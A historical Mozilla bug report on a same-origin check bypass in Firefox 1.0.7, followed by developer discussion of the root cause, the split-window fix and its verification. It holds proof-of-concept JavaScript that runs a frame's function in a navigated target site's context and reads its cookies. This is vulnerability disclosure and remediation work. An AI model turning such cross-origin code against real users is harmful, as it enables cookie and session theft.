moz_bug_r_a4 Reporter
	Description • 19 years ago

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050916
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050916 Firefox/1.0.7

Under a certain circumstance, same origin check does not work.

1. Get a reference to a crafted function in subframe.
2. Load a target site into the subframe.
3. Call the function reference.
Then the function is executed in the context of the target site.

code in subframe:

    // function expression with function name
    var f = function func_name() {
      alert(location.href + "\n" + document.cookie);
    };

  - or -

    // nested function
    var f = (function() {
      return function() {
        alert(location.href + "\n" + document.cookie);
      };
    })();

code in main:

    var x = frames[0].f;
    frames[0].location = "http://www.yahoo.com/";
    x();


A and B fail with this error: Permission denied to get property Window.alert
C, D, and E can be used to exploit.

function A() {
	alert(location.href + "\n" + document.cookie);
};

var B = function() {
	alert(location.href + "\n" + document.cookie);
};

var C = function func_name() {
	alert(location.href + "\n" + document.cookie);
};

var D = (function() {
	return function() {
		alert(location.href + "\n" + document.cookie);
	};
})();

var E;
function e1() {
	function e2() {
		alert(location.href + "\n" + document.cookie);
	}
	E = e2;
}
e1();


Firefox 1.0.7 and Mozilla Suite 1.7.12 are affected.
Trunk and 1.8 branch are not affected.


Reproducible: Always

Steps to Reproduce:

	Daniel Veditz [:dveditz] Assignee
	Comment 3 • 19 years ago

Is this another facet of the split window fix (bug 296639) or do we need to look
for another for another reason the trunk is safe?

	Boris Zbarsky [:bzbarsky]
	Comment 4 • 19 years ago

This was fixed on trunk by splitwindow, yes.  That said, why is this failing on
branch?  The function should have principals compiled into it at compile-time,
right?  So changing which window is in the frame should just mean the function
shouldn't be able to get .cookie, I would think.  Brendan?

	David Baron :dbaron:
	Comment 5 • 19 years ago

Does it have something to do with our skipping of principal checks for script
running in the same window?

	Brendan Eich [:brendan]
	Comment 6 • 19 years ago

(In reply to comment #4)
> This was fixed on trunk by splitwindow, yes.  That said, why is this failing on
> branch?  The function should have principals compiled into it at compile-time,
> right?  So changing which window is in the frame should just mean the function
> shouldn't be able to get .cookie, I would think.  Brendan?

Not all scripted functions have usable principals compiled into their scripts. 
Some kinds of function objects have to be cloned, to carry a runtime scope that
the compiler could not see, or that differed from the one the compiler pre-bound
in the clone-parent (the literal function object referenced via the script's
atom map).

Such functions' principals come from their runtime scope chain (from the last or
next-to-last object on it, which implements the right principal-owning
interface). The runtime scope chain in the DOM terminates in a window object. 
For window.open and frames in framesets, etc., window object identity has been
invariant across reloads since the dawn of the DOM (Netscape 2).

But getting cloned function object principals from a window object is not secure
if the window can be navigated in a way that changes the window's principals.

This is the whole reason we need outer and inner window objects.

/be

	Daniel Veditz [:dveditz] Assignee
	Comment 7 • 19 years ago

Fixed by the split-window alternative (bug 316589)

	Tracy Walker [:tracy]
	Comment 8 • 19 years ago

verified with:
Windows:
Moz - Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060214
Fx - Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060214
Firefox/1.0.8